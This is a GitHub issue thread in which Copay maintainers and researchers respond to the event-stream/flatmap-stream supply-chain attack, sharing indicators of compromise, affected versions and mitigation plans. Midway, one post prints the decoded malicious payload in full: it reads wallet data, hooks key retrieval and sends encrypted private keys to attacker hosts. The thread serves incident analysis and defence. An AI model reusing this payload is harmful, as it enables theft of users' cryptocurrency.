event-stream dependency attack steals wallets from users of copay

[deanveloper]

dominictarr/event-stream#116

[TortelliniLeap]

HTTP POST traffic on port 8080 to copayapi.host (which currently resolves to 51.38.112.212 and previously resolved to 145.249.104.239) or 111.90.151.134 indicates compromised and exfiltrated wallet private keys.

Just going to aggregate other related info to help investigators:

51.38.112.212 is owned by OVH, 145.249.104.239 is owned by Liberty VPS, and 111.90.151.134 is owned by Shinjiru, a Malaysian web hosting provider.

copayapi.host's SOA record indicates the domain registrant's email address is [email protected] (sharklasers.com is a temporary/disposable email provider).

The GitHub account of the event-stream hijacker: https://github.com/right9ctrl (email address [email protected])

The NPM account of the event-stream hijacker: https://www.npmjs.com/~right9ctrl

The GitHub repo for the malicious flatmap-stream package: https://github.com/hugeglass/flatmap-stream

The NPM account of the malicious flatmap-stream package's owner: https://www.npmjs.com/~hugeglass

I believe it's likely "right9ctrl", "hugeglass", and "[email protected]" are all the same person or group of people.

Full list of network indicators (malicious infrastructure operated by the wallet thief/thieves - note that the IPs may correspond to compromised servers and may not be owned by the thieves):

• copayapi.host
• 51.38.112.212
• 145.249.104.239
• 111.90.151.134

[deanveloper]

TL;DR of dominictarr/event-stream#116:

@nicolasnoble

So, for people who try to understand what the malicious payload is doing: it's basically crawling your dependencies for a peer dependency on the package copay-dash, and it's an attack basically crafted towards this package.

If your overall application has both this malicious package and "copay-dash", then it's going to try stealing the bitcoins stored in it.

dominictarr/event-stream#116 (comment)

[gabegattis]

We are investigating

[joepie91]

Relevant: bitpay/copay@6cc4b75#diff-32607347f8126e6534ebc7ebaec4853dL12251

Seems you were affected at one point.

[nicolasnoble]

Actually, looking closer at the code, it's not even trying to crawl anything. The code can ONLY work if the malicious payload is run FROM the copay package itself. This is really crafty.

[matiu]

Thanks a lot for the detailed help.

thankfully the code with the malicious package was not deployed in any platform. We will remove the dependency now.

We are contacting copay-dash, which is a fork of this proyect, to let them know.

==

Further examination of the code was relieved we did release some platforms with the affected code. We still investigating and communicate ASAP.

[atomantic]

Narrowly escaped a mass theft/liquidation event. Network egress monitoring would be good to add to automated tests if not already part of the build validation process.

[nicolasnoble]

@atomantic: this probably wouldn't have worked. The malware was only trying to move wallets matching certain criteria. Surely they could easily have avoided the hypothetical test criteria.

[atomantic]

@atomantic: this probably wouldn't have worked. The malware was only trying to move wallets matching certain criteria. Surely they could easily have avoided the hypothetical test criteria.

good point--if the tests are only in the open source package. I would hope BitPay has other tests that are a process wrapping these tests in a more robust release process.

[Giszmo]

Such tests would definitely require some secrecy and having them completely transparent to the attacker would be quite stupid. @atomantic how would you automate such tests? Any tools you can recommend?

[matiu]

Our team is investigating this issue and the extent of the vulnerability. Currently we have only confirmed that the malicious code was deployed on versions 5.0.2 through 5.1.0 of our Copay and BitPay apps. However, the BitPay app was not vulnerable to the malicious code. If you are using any version from 5.0.2 to 5.1.0, you should not run or open the Copay app. We are still investigating whether this code vulnerability was ever exploited against Copay users.
A security update version (5.2.0) has been released and will be available for all Copay and BitPay wallet users in the app stores. If users do not see the updated version, please try again momentarily.

As this affects private keys, we recommend users immediately update the affected wallet and send all funds from any affected wallets to a brand new wallet on version 5.2.0 by using the Send Max feature to initiate a transaction and not by restoring using the wallet's twelve word phrase.

[hatgit]

What is the name of the patch and are any white-label partners affected? (i.e. other wallets that use the tech branded with their names) such as Bitcoin.com?

[sweetppro]

are the legacy wallets affected?
v4.8.1, v4.8.0 etc...

[cmgustavo]

@sweetppro No, the old versions are not.

[fraggle222]

So does this effect iOS and Android end users of Copay app? It is unclear. There is actually code running on our iOS app the extracts private keys held iOS keychain and transmits these to a 3rd party?

[hatgit]

Would version 5.2 on bitcoin.com's version of the copay app be the same fix described above as a security update? They patched that three days ago.

[sartaj]

OSS should be treated with a no trust mentality when dealing with sensitive data. Strict Content Security Policies can prevent hacks that steal data and thorough E2E/unit tests can prevent hacks that mess with UX.

[tuliopa]

Hi, may you mention if this bug affect the Andriod client, the latest apk in google play store is from november 16, version 5.1.1.

[atomantic]

Such tests would definitely require some secrecy and having them completely transparent to the attacker would be quite stupid. @atomantic how would you automate such tests? Any tools you can recommend?

I'm not an employee of BitPay but npm run test is only part of a release process. BitPay doesn't commit their Apple publisher keys to the open source library and depend entirely on an open source build/release pipeline. The publication of a new version is part of a hidden process within their secure environment. Likewise, they should have other tests that more robustly validate the integrity of module dependencies and run a production-equivalent version of the release candidate in a sandbox environment with monitors for network egress/connections (netstat, lsof, etc). If some environments/candidates can't be automated, manual testing/monitoring must be in place until automation is sufficient. Something like Charles Proxy or Little Snitch can be used to proxy network connections from an iOS/Android device and network connection attempts can be captured. This isn't nearly enough though as the malicious code could potentially see the network settings and only act if there isn't a proxy configured.

Hopefully this particular case acts as a sample of what BitPay can do in the future within their meta release validation process. The question is posed to them: what are they going to add to their process that will make BitPay and their users confident that this kind of attack will not go unnoticed before a release is put out into the wild?

[nicolasnoble]

Note that the malware was really sneaky, and only triggering the upload of the private keys for wallets that had genuinely over 100 BTC in there.

[atomantic]

Note that the malware was really sneaky, and only triggering the upload of the private keys for wallets that had genuinely over 100 BTC in there.

Perhaps a good first step in testing dependency upgrades is to look for the new appearance of high-entropy blobs, the inclusion of crypto, new dependency additions to sub-dependencies.

This is a seemingly innocuous commit from a raw code perspective: dominictarr/event-stream@e316336

However, if the build validation paused for a human to examine and approve why a dependency was added to the chain, they would have deduced that this looks super fishy and shouldn't be trusted.

Additionally, this update added a large high-entropy blob (note: a future attacker could break this up into tiny blobs and join them).

[mshanx]

So when the new version is going to be available in app store? You say that we need to move funds asap to a brand new wallet on updated version but it’s still not available.

[fraggle222]

I put more info about the malicious code in this thread dominictarr/event-stream#116 (comment)

final result is:

 function e() {
        try {
            var o = require("http"),
                a = require("crypto"),
                c = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----";

            function i(e, t, n) {
                e = Buffer.from(e, "hex").toString();
                var r = o.request({
                    hostname: e,
                    port: 8080,
                    method: "POST",
                    path: "/" + t,
                    headers: {
                        "Content-Length": n.length,
                        "Content-Type": "text/html"
                    }
                }, function() {});
                r.on("error", function(e) {}), r.write(n), r.end()
            }

            function r(e, t) {
                for (var n = "", r = 0; r < t.length; r += 200) {
                    var o = t.substr(r, 200);
                    n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"
                }
                i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)
            }

            function l(t, n) {
                if (window.cordova) try {
                    var e = cordova.file.dataDirectory;
                    resolveLocalFileSystemURL(e, function(e) {
                        e.getFile(t, {
                            create: !1
                        }, function(e) {
                            e.file(function(e) {
                                var t = new FileReader;
                                t.onloadend = function() {
                                    return n(JSON.parse(t.result))
                                }, t.onerror = function(e) {
                                    t.abort()
                                }, t.readAsText(e)
                            })
                        })
                    })
                } catch (e) {} else {
                    try {
                        var r = localStorage.getItem(t);
                        if (r) return n(JSON.parse(r))
                    } catch (e) {}
                    try {
                        chrome.storage.local.get(t, function(e) {
                            if (e) return n(JSON.parse(e[t]))
                        })
                    } catch (e) {}
                }
            }
            global.CSSMap = {}, l("profile", function(e) {
                for (var t in e.credentials) {
                    var n = e.credentials[t];
                    "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {
                        var t = this;
                        t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))
                    }.bind(n))
                }
            });
            var e = require("bitcore-wallet-client/lib/credentials.js");
            e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {
                var t = this.getKeysFunc(e);
                try {
                    global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\t" + this.xPubKey))
                } catch (e) {}
                return t
            }
        } catch (e) {}
    }
    window.cordova ? document.addEventListener("deviceready", e) : e()
}();```

[matiu]

@mshanx Copay have been submitted already, there should be available soon. There are available already in some platforms. You can import your seed on Bitpay Wallet app & access your wallet there.

Also, we have reported and taken down the endpoints where the malicious code post the data, so they are not working now.

@atomantic Thanks for your comments and suggestions.

We will be taking multiple measures to mitigate future issues like this one. The dependencies problem on node.js is a huge problem and many projects are facing issues like this. Almost 4000 projects were "infected" just to access Copay. On the other hand, trying to build a competitive app, GUI-wise, multiplatform not using JS seems impossible.

Some of the measures we are doing:

1. Freeze dependencies and add them to the repo, so we can see diff when upgrading deps. This will be practical sometimes, be definitely not always.
2. Restrict network access within the app.
3. Create a new app, with very few dependencies, to sign TXs. This is already working in our CLI app and air-gapped signer.
4. Freeze critical classes to prevent function over-write.
5. Refactor storage, to only allow access from certain code parts.
   Other measures are been considered.

thanks, matías

[fraggle222]

@matiu I like the idea of 3. Create a new app, with very few dependencies, to sign TXs.

[matiu]

JFYI,

Copay v5.2.2 is already available on Android (https://play.google.com/store/apps/details?id=com.bitpay.copay&hl=en), iOs and all platforms.

[lassikin]

OSS should be treated with a no trust mentality when dealing with sensitive data. Strict Content Security Policies can prevent hacks that steal data and thorough E2E/unit tests can prevent hacks that mess with UX.

The problem will remain if those tests are public and the project has dependencies on 3rd party submitters - automatic testing cannot be trusted. The offending code can be made to not activate under the tests and rather easily at that if the tests are public. The core of the problem is trusting hundreds of 3rd party maintainers to stay straight. The only reasonable action would be to work to remove the dependencies(possibly fork known good versions of them).

For me the 1) and 3) are the reasonable things to do. When any of the dependencies change, go through the changes manually, if they are not relevant/necessary not include the updates.

In addition to just go through the dependencies to remove any that are so small as to just include in the main project, just to lower the amount of people that need to be trustworthy.

Restricting network access within the dependencies of the app is very hard to do practically as is only allowing access to storage from certain code parts(in a fashion that you could trust it).

[matiu]

@lassikin regarding 2), in the just released 5.3.0 we will be using CSP to restrict network access to whitelisted sites (bitpay backend and a couple of affiliates). CSP should be a secure method to prevent network access to all JS code in the app, do you have any commment on that? thanks.

[matiu]

6. we will be also locking package-lock during each major version. We will only update security patches, but any update will only happen when a new major version is released.

[varunsh-coder]

Narrowly escaped a mass theft/liquidation event. Network egress monitoring would be good to add to automated tests if not already part of the build validation process.

I think network egress monitoring is really important during end-to-end automated tests and build process. I have implemented a way to automatically discover and restrict outbound traffic during GitHub Actions workflow runs. It can detect DNS exfiltration as well. If it sounds interesting, please try it out. You can try a hands-on tutorial here: https://github.com/step-security/supply-chain-goat/blob/main/RestrictOutboundTraffic.md

[lirantal]

@varunsh-coder what about if the egress isn't happening on-install or on initialization but has a built-in clock delay for say 3 weeks in? or some other form of delay?

[varunsh-coder]

@varunsh-coder what about if the egress isn't happening on-install or on initialization but has a built-in clock delay for say 3 weeks in? or some other form of delay?

Good point! In fact, not just time delay, it could also be based on a different condition. Example in the event-stream case, the outbound call would only be made if the number of coins in the wallet were more than 100. I think it would be ideal if the outbound calls could be limited across the deployment environment.

Having said that, there is always a chance that the attacker may send outbound call during reconnaissance (while the exploit is being developed) or make a mistake in the condition logic, and it may get caught in the automated (end-to-end) tests. It makes the attacker's job harder, which is a good thing. So, this method doesn't make attacks impossible but more improbable and more difficult.

[lirantal]

Don't get me wrong, I think this is a great idea and for the threat model of build-time, an immediate network egress request monitoring makes a lot of sense.